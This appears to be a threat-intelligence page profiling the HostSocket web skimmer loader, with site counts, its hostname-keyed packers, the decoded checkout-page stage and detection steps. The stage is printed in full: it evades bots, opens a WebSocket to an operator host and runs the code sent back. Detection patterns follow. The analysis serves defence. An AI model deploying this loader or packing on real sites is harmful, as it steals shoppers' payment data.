HostSocket web skimmer
HostSocket is a web skimmer loader keyed to each shop's hostname. On checkout pages it opens a WebSocket and runs the code the operator's server sends back. We have matched it on 3 sites since 26 September.
HostSocket in numbers
Since 26 September, the first HostSocket match in our records, counted on 16 November 2026. How we count.
| Sites with HostSocket code | 3 |
|---|---|
| Sites with a match in the last 30 days | 2 |
| New sites in October | 0 |
The shop's hostname is the key
HostSocket's loader is one short inline script, and its payload is unreadable until it runs on the right site. The script passes window.location.hostname in as the key, so the same bytes decode only on the shop they were built for. Copied anywhere else, or read in a file, the blob is noise.
We have seen two packers around the same payload:
- An older build, captured in September 2026, reverses a hex-escaped blob and XOR-decodes it with the hostname.
- The current build, captured in November 2026, imports the hostname as an AES-GCM key (the first 16 characters, padded with
0when shorter), decrypts a hex blob with an all-zero 12-byte IV and runs the result withnew Function.
The decoded stage waits for checkout
Decoded with each shop's hostname, every copy is the same short stage:
!function(w,t){
if(!/bot|googlebot|crawler|spider|robot|crawling/i.test(navigator.userAgent)
&& w.location.toString().includes(t)){
let s=new WebSocket('wss://[operator host]');
s.onopen=function(e){s.send('[shop hostname]')};
s.onmessage=function(e){new Function(e.data)(s)}
}
}(window, "checkout");
The trigger word is chosen per shop. An English store waits for checkout, and a Spanish one waits for pedido (order). The stage sends the shop's hostname when the socket opens and runs every message the server returns. The skimmer itself never sits on the site. It arrives over the socket, only on the checkout page and only for a browser that does not call itself a bot, and the code it runs gets the open socket to send with.
The WebSocket hosts change between shops. Each looks like logging or CDN infrastructure, one name per copy.
Sucuri described the same handler, new Function(e.data)(s) behind a checkout test, in November 2023 without naming the kit (Sucuri).
What we see
| Month | New sites |
|---|---|
| September | 1 |
| October | 0 |
| November so far | 2 |
Checking a site
Search page sources, theme files and the database for:
crypto.subtle.importKeywith'AES-GCM'next towindow.location.hostname.padEnd(16,'0')on the key andiv:new Uint8Array(12)new Function((new TextDecoder).decode(e))()after a decrypt- a reversed, hex-escaped string decoded with the hostname
- in a decoded copy,
new WebSocket('wss://andnew Function(e.data)(s)
The payload only decodes with your own hostname, so test a suspect blob with it. Load the checkout page with developer tools open and look for a WebSocket connection to a host you do not run.